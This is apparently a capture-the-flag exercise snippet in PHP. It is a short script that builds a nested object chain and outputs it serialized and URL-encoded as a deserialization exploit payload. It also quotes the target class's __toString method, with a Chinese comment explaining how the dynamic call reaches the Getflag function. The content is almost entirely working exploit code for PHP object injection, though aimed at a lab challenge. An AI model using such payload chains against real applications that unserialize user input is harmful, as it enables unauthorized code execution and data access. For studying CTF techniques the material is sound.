<?php
class w44m{
private $admin='w44m';
protected $passwd='08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();//这一步我理解为,$w22m='Getflag'。{$this->w22m}()<等价于>Getflag()。把$this->w00m的值赋给Getflag()调用这个函数
return 0;
}